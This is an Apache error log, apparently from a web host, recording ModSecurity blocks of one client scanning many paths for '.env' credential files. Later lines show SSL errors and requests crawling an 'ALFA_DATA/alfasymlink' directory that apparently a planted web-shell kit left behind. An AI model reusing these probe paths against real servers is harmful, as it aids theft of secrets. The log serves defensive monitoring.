[Sat Oct 24 05:04:10.693505 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KwAAABU"]
[Sat Oct 24 05:04:10.693900 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KwAAABU"]
[Sat Oct 24 05:04:10.761318 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LAAAABU"]
[Sat Oct 24 05:04:10.761566 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LAAAABU"]
[Sat Oct 24 05:04:10.761909 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LAAAABU"]
[Sat Oct 24 05:04:10.849508 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LQAAABU"]
[Sat Oct 24 05:04:10.849751 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LQAAABU"]
[Sat Oct 24 05:04:10.850068 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LQAAABU"]
[Sat Oct 24 05:04:10.931567 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LgAAABU"]
[Sat Oct 24 05:04:10.931812 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LgAAABU"]
[Sat Oct 24 05:04:10.932135 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5LgAAABU"]
[Sat Oct 24 05:04:11.028673 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5LwAAABU"]
[Sat Oct 24 05:04:11.028927 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5LwAAABU"]
[Sat Oct 24 05:04:11.029243 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5LwAAABU"]
[Sat Oct 24 05:04:11.124465 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MAAAABU"]
[Sat Oct 24 05:04:11.124691 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MAAAABU"]
[Sat Oct 24 05:04:11.124997 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MAAAABU"]
[Sat Oct 24 05:04:11.197907 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MQAAABU"]
[Sat Oct 24 05:04:11.198135 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MQAAABU"]
[Sat Oct 24 05:04:11.198480 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MQAAABU"]
[Sat Oct 24 05:04:11.284238 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MgAAABU"]
[Sat Oct 24 05:04:11.284477 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MgAAABU"]
[Sat Oct 24 05:04:11.284801 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MgAAABU"]
[Sat Oct 24 05:04:11.373855 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MwAAABU"]
[Sat Oct 24 05:04:11.374093 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MwAAABU"]
[Sat Oct 24 05:04:11.374448 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5MwAAABU"]
[Sat Oct 24 05:04:11.440882 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NAAAABU"]
[Sat Oct 24 05:04:11.441159 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NAAAABU"]
[Sat Oct 24 05:04:11.441519 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NAAAABU"]
[Sat Oct 24 05:04:11.533455 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NQAAABU"]
[Sat Oct 24 05:04:11.533732 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NQAAABU"]
[Sat Oct 24 05:04:11.534033 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NQAAABU"]
[Sat Oct 24 05:04:11.641896 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NgAAABU"]
[Sat Oct 24 05:04:11.642113 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NgAAABU"]
[Sat Oct 24 05:04:11.642433 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "atx0i6VWPMRLkHgZYZD5NgAAABU"]
[Sat Oct 24 05:04:23.593844 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 185.191.171.18:63836] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:04:26.232641 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 44.221.180.179:38821] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:04:30.284117 2026] [security2:error] [pid 2607843:tid 2607843] [client 43.173.1.57:43928] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com/"] [unique_id "atx0ngSwRuPA-FjBma7HOgAAAAI"]
[Sat Oct 24 05:04:30.285740 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 43.173.1.57:43928] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 05:04:54.222238 2026] [ssl:error] [pid 2608731:tid 2608731] (5)Input/output error: [client 34.225.243.131:15404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:05:10.145449 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 18.204.152.114:35145] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/slots/5/module/uevent
[Sat Oct 24 05:05:18.191745 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 18.214.251.19:39991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:05:22.265881 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 184.73.195.18:65025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:05:38.162848 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 3.94.156.104:45928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/button/uevent
[Sat Oct 24 05:05:54.239475 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.3.127.170:23317] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:05:57.144205 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.208:38396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/free_calls
[Sat Oct 24 05:06:06.243649 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.82.63.147:43856] AH02013: coalesce failed to read from data bucket
